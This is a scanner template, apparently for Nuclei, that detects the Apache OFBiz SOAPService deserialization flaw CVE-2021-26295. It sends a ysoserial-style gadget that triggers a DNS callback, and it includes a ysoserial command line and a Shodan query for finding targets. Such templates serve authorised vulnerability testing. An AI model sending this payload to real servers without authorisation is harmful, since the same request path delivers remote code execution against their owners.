57 lines
1.8 KiB
YAML
57 lines
1.8 KiB
YAML
id: CVE-2021-26295
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info:
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name: Apache OFBiz RMI Deserialization - Remote Code Execution
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author: madrobot
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severity: critical
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description: |
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Apache OFBiz has unsafe deserialization prior to 17.12.06. An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz.
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reference:
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- https://github.com/yumusb/CVE-2021-26295-POC
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- https://packetstormsecurity.com/files/162104/Apache-OFBiz-SOAP-Java-Deserialization.html
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- https://github.com/zhzyker/exphub/tree/master/ofbiz
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-26295
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cwe-id: CWE-502
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metadata:
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ysoserial-payload: java -jar ysoserial.jar URLDNS https://oob-url-to-request.tld | hex
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shodan-query: OFBiz.Visitor=
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verified: true
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tags: cve,cve2021,apache,ofbiz,deserialization,rce
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requests:
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- raw:
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- |
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POST /webtools/control/SOAPService HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/xml
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<?xml version='1.0' encoding='UTF-8'?>
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<soapenv:Envelope
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xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
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<soapenv:Header/>
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<soapenv:Body>
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<ns1:clearAllEntityCaches xmlns:ns1="http://ofbiz.apache.org/service/">
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<ns1:cus-obj>{{generate_java_gadget("dns", "https://{{interactsh-url}}", "hex")}}</ns1:cus-obj>
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</ns1:clearAllEntityCaches>
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</soapenv:Body>
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</soapenv:Envelope>
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "dns"
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- type: word
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part: body
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words:
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- "errorMessage"
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- type: word
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part: header
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words:
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- "OFBiz.Visitor=" |